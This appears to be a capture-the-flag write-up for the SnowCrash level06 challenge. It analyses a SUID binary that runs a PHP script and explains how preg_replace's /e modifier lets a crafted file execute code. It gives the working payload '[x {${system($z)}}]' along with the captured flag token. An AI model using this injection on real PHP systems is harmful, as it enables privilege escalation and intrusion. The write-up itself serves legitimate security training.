Level06

Two noticeable files are present in home directory of the `level06` user. A `level06` binary file and a `level06.php` **PHP** script. The **SUID** bit is set on the `level06` binary and owner is user `flag06`.

The level06.php script

While inspecting the file with the `cat` command, we can observe that the code is not well formated.

```
#!/usr/bin/php
<?php
function y($m) { $m = preg_replace("/\./", " x ", $m); $m =
preg_replace("/@/", " y", $m); return $m; }
function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x
(.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a =
preg_replace("/\]/", ")", $a); return $a; }
$r = x($argv[1], $argv[2]); print $r;
?>
```

For a better reading we can pass the script trough a online formating tool such as Code Beautify.

```
#!/usr/bin/php
<?php
function y($m)
{
    $m = preg_replace("/\./", " x ", $m);
    $m = preg_replace("/@/", " y", $m);
    return $m;
}
function x($y, $z)
{
    $a = file_get_contents($y);
    $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
    $a = preg_replace("/\[/", "(", $a);
    $a = preg_replace("/\]/", ")", $a);
    return $a;
}
$r = x($argv[1], $argv[2]);
print $r;

?>
```

The script consists of two function definitions. Both make usage of `preg_replace()`.

The preg_replace() function

The function takes three arguments. The first one is a **regular expression**, the second, a value to **substitute the matches** and the third one is the value that is to be treated. Strings or arrays can be passed as arguments.

If the substitute is PHP code, the `e` modifier permits it's execution when substituting a match. The substitute becomes the return value of the PHP code if there is a return value.

Note: To limit security issues, `preg_replace()` escapes single and double quotes characters.

The user defined functions

x($y, $z)
This function is called with two arguments `$y` and `$z`. It stores the file contents corresponding to the path supplied via `$y` in `$a`. Then three calls to `preg_replace()` are made but the one that looks interesting is the first one with the `e` modifier.

The altered output is then returned. Another thing to notice is that the second argument is never used.

y($m)
This function is called with only one argument `$m`. The argument is processed trough two `preg_replace()` calls and is then returned.

The level06 binary

It is a good idea to try to pass the file trough **Ghidra's** code browser and inspect the main function.

```
undefined4 main(undefined4 param_1,int param_2,char **param_3)
{
  int iVar1;
  char **__envp;
  __gid_t __rgid;
  __uid_t __ruid;
  char *local_34;
  char *local_30;
  char *local_2c;
  char *local_28;
  undefined4 local_24;
  undefined *local_18;

  __envp = param_3;
  iVar1 = param_2;
  local_18 = (undefined *)&param_1;
  local_2c = strdup("");
  local_28 = strdup("");
  if (*(int *)(iVar1 + 4) != 0) {
    free(local_2c);
    local_2c = strdup(*(char **)(iVar1 + 4));
    if (*(int *)(iVar1 + 8) != 0) {
      free(local_28);
      local_28 = strdup(*(char **)(iVar1 + 8));
    }
  }
  __rgid = getegid();
  __ruid = geteuid();
  setresgid(__rgid,__rgid,__rgid);
  setresuid(__ruid,__ruid,__ruid);
  local_34 = "/usr/bin/php";
  local_30 = "/home/user/level06/level06.php";
  local_24 = 0;
  execve("/usr/bin/php",&local_34,__envp);
  return 0;
}
```

Some interesting lines are found. A call to the `execve()` function is made with `/usr/bin/php` as the executable and `level06.php` as its argument. We can deduct that our script is ran trough the PHP interpreter when the `level06` binary is exectued.

The attack

Summary of interesting things

- The SUID bit is set on the `level06` binary and the owner is `flag06`.
- A call to `preg_replace()` with the `e` modifier is made and PHP code execution is possible within the regular expression.
- We can pass arguments to the program, and they are accessible within the scope of the `x($y, $z)` function.

Backreference access

Contents of regular expression groups can be accessed via the `\N` (where **N** is a number) notation.

PHP complex curly syntax

This syntax permits to include complex expressions in strings. It is noted with `{$ }` surrounding the expression. The expression will first be evaluated, then inserted in the string.

Knowing all this information, we know that we need to make a file with a matching string to the first vulnerable call to `preg_replace()` with `e` modifier. Our goal is to call the `getflag` command with the user `flag06`'s privileges.

Inserting a call to `system()` function with `getflag` as parameter can be a valid option.

The regular expression `/(\[x (.*)\])/e` consists of two capture groups:

1. Any string starting with `[x `and ending with `]`
2. Any string containing any character `.` in any amount `*`

The substitute is a call to the `y($m)` function where `$m` is a backreference to the second capture group. The match to the second capture group needs to be the expansion of a PHP command. The expanded value will be ran trough the rest of the code and be printed on `stdout`.

We first need to write the payload in a file and pass it as an argument to `level06`. The `/tmp` folder is writable. The payload consists of a matching string to the first regular expression encountered. The second capture group is a complex PHP curly syntax containing the call to the `system()` function.

Note: Variables in scope are accessible. To evade the quote filtering, we can pass the string `getflag` trough the unused `$z` parameter wich is `argv[2]`. Quote escaping seems to occur before variable expansion.

```
level06@SnowCrash:~$ echo '[x {${system($z)}}]' > /tmp/infile && ./level06
/tmp/infile 'getflag'
Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
PHP Notice:  Undefined variable: Check flag.Here is your token :
wiok45aaoguiboiki2tuin6ub in /home/user/level06/level06.php(4) : regexp code
on line 1
```

It is also possible to omit the quotes and wite directly `echo '[x {${system(getflag)}}]' > /tmp/infile && ./level06 /tmp/infile`. PHP will assume it was quoted and correct it itself.